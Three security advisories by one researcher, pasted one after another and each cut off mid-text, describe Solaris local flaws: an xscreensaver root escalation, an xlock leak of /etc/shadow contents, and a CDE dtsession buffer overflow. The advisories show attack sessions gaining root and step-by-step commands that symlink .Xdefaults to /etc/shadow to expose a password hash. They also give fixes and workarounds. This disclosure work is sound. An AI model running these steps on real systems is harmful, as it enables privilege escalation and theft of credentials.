Application: Jamie Zawinski's xscreensaver 5.39 distributed with Solaris 11.4
Jamie Zawinski's xscreensaver 5.15 distributed with Solaris 11.3
Other versions starting from 5.06 are potentially affected
Platforms: Oracle Solaris 11.x (tested on 11.4 and 11.3)
Other platforms are potentially affected (see below)
Description: A local attacker can gain root privileges by exploiting a
design error vulnerability in the xscreensaver distributed with
Solaris
Author: Marco Ivaldi
Vendor Status: notified on 2019-07-09
CVE Name: CVE-2019-3010
CVSS Vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (Base Score: 8.8)
References:
https://lab.mediaservice.net/advisory/2019-02-solaris-xscreensaver.txt
https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html
https://www.jwz.org/xscreensaver/
https://www.oracle.com/technetwork/server-storage/solaris11/
https://www.mediaservice.net/
https://0xdeadbeef.info/
1. Abstract.
Exploitation of a design error vulnerability in xscreensaver, as distributed
with Solaris 11.x, allows local attackers to create (or append to) arbitrary
files on the system, by abusing the -log command line switch introduced in
version 5.06. This flaw can be leveraged to cause a denial of service condition
or to escalate privileges to root.
2. Example Attack Session.
raptor@stalker:~$ cat /etc/release
Oracle Solaris 11.4 X86
Copyright (c) 1983, 2018, Oracle and/or its affiliates. All rights reserved.
Assembled 16 August 2018
raptor@stalker:~$ uname -a
SunOS stalker 5.11 11.4.0.15.0 i86pc i386 i86pc
raptor@stalker:~$ id
uid=100(raptor) gid=10(staff)
raptor@stalker:~$ chmod +x raptor_xscreensaver
raptor@stalker:~$ ./raptor_xscreensaver
raptor_xscreensaver - Solaris 11.x LPE via xscreensaver
Copyright (c) 2019 Marco Ivaldi
[...]
Oracle Corporation SunOS 5.11 11.4Aug 2018
root@stalker:~# id
uid=0(root) gid=0(root)
3. Affected Platforms.
This vulnerability was confirmed on the following platforms:
* Oracle Solaris 11.x X86 [tested on 11.4 and 11.3, default installation]
* Oracle Solaris 11.x SPARC [untested]
Previous Oracle Solaris 11 versions might also be vulnerable.
Based on our analysis and on feedback kindly provided by Alan Coopersmith of
Oracle, we concluded that this is a Solaris-specific vulnerability, caused by
the fact that Oracle maintains a slightly different codebase from the upstream
one. Alan explained this as follows:
"The problem in question here appears to be inherited from the long-ago fork
[originally based on xscreensaver 4.05] Sun & Ximian did to add a gtk-based
unlock dialog with accessibility support to replace the non-accessible Xlib
unlock dialog that upstream provides, which moves the uid reset to after where
the log file opening was later added."
Specifically, the problem arises because of this bit of Solaris patches:
https://github.com/oracle/solaris-userland/blob/18c7129a50c0d736cbac04dcfbfa1502eab71e33/components/desktop/xscreensaver/patches/0005-gtk-lock.patch#L3749-L3770
As an interesting side note, it appears Red Hat dropped this code back in 2002
with version 4.05-5:
https://src.fedoraproject.org/rpms/xscreensaver/blob/9a0bab5a19b03db9671fc5a20714755445f19e21/f/xscreensaver.spec#L2178-2179
4. Fix.
Oracle has assigned the tracking# S1182608 and has released a fix for all
affected and supported versions of Solaris in their Critical Patch Update (CPU)
of October 2019.
As a temporary workaround, it is also possible to remove the setuid bit from
the xscreensaver executable as follows (note that this might prevent it from
working properly):
bash-3.2# chmod -s /usr/bin/xscreensaver
5. Proof of Concept.
An exploit for Orac
CVE-2020-2656 - Low impact information disclosure via Solaris xlock
Dear Bugtraq,
Please find attached an advisory for the following vulnerability, fixed in
Oracle's Critical Patch Update (CPU) of January 2020:
"A low impact information disclosure vulnerability in the setuid root xlock
binary distributed with Solaris may allow local users to read partial contents
of sensitive files. Due to the fact that target files must be in a very
specific format, exploitation of this flaw to escalate privileges in a
realistic scenario is unlikely."
Regards,
--
Marco Ivaldi, Offensive Security Manager
CISSP, OSCP, QSA, ASV, OPSA, OPST, OWSE, LA27001, PRINCE2F
@Mediaservice.net S.r.l. con Socio Unico
https://www.mediaservice.net/
@Mediaservice.net Security Advisory #2020-01 (last updated on 2020-01-15)
Title: Low impact information disclosure via Solaris xlock
Application: Setuid root xlock binary distributed with Solaris
Platforms: Oracle Solaris 11.x (confirmed on 11.4 X86)
Oracle Solaris 10 (confirmed on 10 1/13 X86)
OpenIndiana Hipster 2019.10 and earlier
Other platforms are potentially affected
Description: A low impact information disclosure vulnerability in the setuid
root xlock binary distributed with Solaris may allow local
users to read partial contents of potentially sensitive files
Author: Marco Ivaldi
Vendor Status: notified on 2019-09-24
CVE Name: CVE-2020-2656
CVSS Vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N (Base Score: 4.4)
References:
https://github.com/0xdea/advisories/blob/master/2020-01-solaris-xlock.txt
https://www.oracle.com/security-alerts/cpujan2020.html
https://www.oracle.com/technetwork/server-storage/solaris11/
https://www.oracle.com/technetwork/server-storage/solaris10/
https://www.openindiana.org/
https://github.com/oracle/solaris-userland/tree/master/components/x11/app/xlock/sun-src
https://www.mediaservice.net/
https://0xdeadbeef.info/
1. Abstract.
A low impact information disclosure vulnerability in the setuid root xlock
binary distributed with Solaris may allow local users to read partial contents
of sensitive files. Due to the fact that target files must be in a very
specific format, exploitation of this flaw to escalate privileges in a
realistic scenario is unlikely.
2. Example Attack Session.
In order to reproduce this bug, the following commands can be used:
raptor@stalker:~$ cat /etc/release
Oracle Solaris 11.4 X86
Copyright (c) 1983, 2018, Oracle and/or its affiliates. All rights reserved.
Assembled 16 August 2018
raptor@stalker:~$ uname -a
SunOS stalker 5.11 11.4.0.15.0 i86pc i386 i86pc
raptor@stalker:~$ id
uid=100(raptor) gid=10(staff)
raptor@stalker:~$ tail -1 /etc/passwd
user.mode:x:101:10::/export/home/user:/usr/bin/bash
raptor@stalker:~$ ln -s /etc/shadow .Xdefaults
raptor@stalker:~$ Xorg :1 &
raptor@stalker:~$ xlock -name user -display :1
Unknown mode: xlock: bad command line option
"$5$rounds=1$wHWiSUhf$NKjMUwIRiVVB/GYx.HZvnMhou9RUT.qaiJhKg265um7:18160::"
3. Discussion.
The detected information disclosure happens because xlock does not drop root
privileges and follows a malicious symlink to an arbitrary file when opening
the ~/.Xdefaults configuration file with the XrmGetFileDatabase() function of
libX11. Subsequently, xlock's CheckResources() function prints partial contents
of the last line of the file that matches the following pattern (the
resource-name string can be specified with the -name command line switch of
xlock):
[resource-name].mode:[sensitive data]
For instance, if a username in the shadow file ends with the string ".mode"
(e.g. "user.mode" as shown in the above example) it is possible for a low
privileged user to exploit this flaw in order to reveal the corresponding
password hash. Similar results can be achieved in case of usernames that end
with the following strings:
* ".font": the password hash is included in an error message printed by xlock
* ".info": the password hash is displayed as part of xlock's unlock dialog
* ".validate": the password hash is displayed as part of xlock's unlock dialog
Instead of creating a symlink, an attacker could exploit this flaw by directly
setting the XFILESEARCHPATH or XUSERFILESEARCHPATH environment variables to
point to /etc/shadow. In this case, the password hash associated with usernames
that end with the ".display" string can also be recovered. The XAPPLRESDIR
environment variable can also be manipulated to achieve similar results.
Finally, the directive #include "/etc/shadow" in a configuration file can also
be used to trick xlock into opening the /etc/shadow file.
Other exploitation vectors may be available.
4. Affected Platforms.
This bug was confirm
CVE-2020-2696 - Local privilege escalation via CDE dtsession
Dear Bugtraq,
Please find attached an advisory for the following vulnerability, fixed in
Oracle's Critical Patch Update (CPU) of January 2020:
"A buffer overflow in the CheckMonitor() function in the Common Desktop
Environment 2.3.1 and earlier and 1.6 and earlier, as distributed with Oracle
Solaris 10 1/13 (Update 11) and earlier, allows local users to gain root
privileges via a long palette name passed to dtsession in a malicious
.Xdefaults file."
For further information, please refer to:
https://techblog.mediaservice.net/2020/01/local-privilege-escalation-via-cde-dtsession/
https://github.com/0xdea/exploits/blob/master/solaris/raptor_dtsession_ipa.c
Regards,
--
Marco Ivaldi, Offensive Security Manager
CISSP, OSCP, QSA, ASV, OPSA, OPST, OWSE, LA27001, PRINCE2F
@Mediaservice.net S.r.l. con Socio Unico
https://www.mediaservice.net/
Tel: +39 011 19016595 | Fax: +39 011 3246497
@Mediaservice.net Security Advisory #2020-02 (last updated on 2020-01-15)
Title: Local privilege escalation via CDE dtsession
Application: Common Desktop Environment 2.3.1 and earlier
Common Desktop Environment 1.6 and earlier
Platforms: Oracle Solaris 10 1/13 (Update 11) and earlier
Other platforms are potentially affected (see below)
Description: A local attacker can gain root privileges by exploiting a
buffer overflow in CDE dtsession
Author: Marco Ivaldi
Vendor Status: Oracle notified on 2019-11-13
CERT/CC notified on 2019-12-09 (tracking VU#308289)
CVE Name: CVE-2020-2696
CVSS Vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (Base Score: 8.8)
References:
https://github.com/0xdea/advisories/blob/master/2020-02-cde-dtsession.txt
https://www.oracle.com/security-alerts/cpujan2020.html
https://sourceforge.net/p/cdesktopenv/wiki/Home/
https://www.oracle.com/technetwork/server-storage/solaris10/
https://www.mediaservice.net/
https://0xdeadbeef.info/
1. Abstract
A buffer overflow in the CheckMonitor() function in the Common Desktop
Environment 2.3.1 and earlier and 1.6 and earlier, as distributed with Oracle
Solaris 10 1/13 (Update 11) and earlier, allows local users to gain root
privileges via a long palette name passed to dtsession in a malicious
.Xdefaults file.
Note that Oracle Solaris CDE is based on the original CDE 1.x train, which is
different from the CDE 2.x codebase that was later open sourced. Most notably,
the vulnerable buffer in the Oracle Solaris CDE is stack-based, while in the
open source version it is heap-based.
2. Example Attack Session.
bash-3.2$ cat /etc/release
Oracle Solaris 10 1/13 s10x_u11wos_24a X86
Copyright (c) 1983, 2013, Oracle and/or its affiliates. All rights reserved.
Assembled 17 January 2013
bash-3.2$ uname -a
SunOS nostalgia 5.10 Generic_147148-26 i86pc i386 i86pc
bash-3.2$ id
uid=54322(raptor) gid=1(other)
bash-3.2$ gcc raptor_dtsession_ipa.c -o raptor_dtsession_ipa -Wall
bash-3.2$ ./raptor_dtsession_ipa 192.168.1.1:0
raptor_dtsession_ipa.c - CDE dtsession LPE for Solaris/Intel
Copyright (c) 2019-2020 Marco Ivaldi
Using SI_PLATFORM : i86pc (5.10)
Using stack base: 0x8047fff
Using rwx_mem address : 0xfeffa004
Using payload address : 0x8047dff
Using strcpy() address : 0xfefe26a0
# id
uid=0(root) gid=1(other)
3. Affected Platforms.
All platforms shipping the Common Desktop Environment are potentially affected.
This includes:
* Oracle Solaris 10 1/13 (Update 11) and earlier [default installation]
According to the CDE Wiki, the following platforms are officially supported:
* All Official Ubuntu variants 12.04 - 18.04
* Debian 6, 7, 8, 9
* Fedora 17 at least
* Archlinux
* Red Hat
* Slackware 14.0
* OpenBSD
* NetBSD
* FreeBSD 9.2, 10.x, 11.x
* openSUSE Tumbleweed (gcc7)
* openSUSE Leap 4.2 (gcc4)
* SUSE 12 SP3 (gcc4)
* Solaris, OpenIndiana
4. Fix.
The maintainers of the open source CDE 2.x version have issued the following
patches for this vulnerability:
https://sourceforge.net/p/cdesktopenv/mailman/message/36900154/
https://sourceforge.net/p/cdesktopenv/code/ci/6b32246d06ab16fd7897dc344db69d0957f3ae08/
Oracle, which maintains a different CDE codebase based on the 1.x train, has
assigned the tracking# S1231688 and has released a fix for all affected and
supported versions of Solaris in their Critical Patch Update (CPU) of January
2020.
As a workaround, it is also possible to remove the setuid bit from the
vulnerable executable as follows (note that this might prevent it from working
properly):
bash-3.2# chmod -s /usr/dt/bin/dtsession
Please note that during the audit many other potentially exploitable bugs have
surfaced in dtsession and in the Common Desktop Environment in general.
Therefore, removing the setuid bit from all CDE binaries is recommended,
regardless of patches released by vendors.
5. Proof
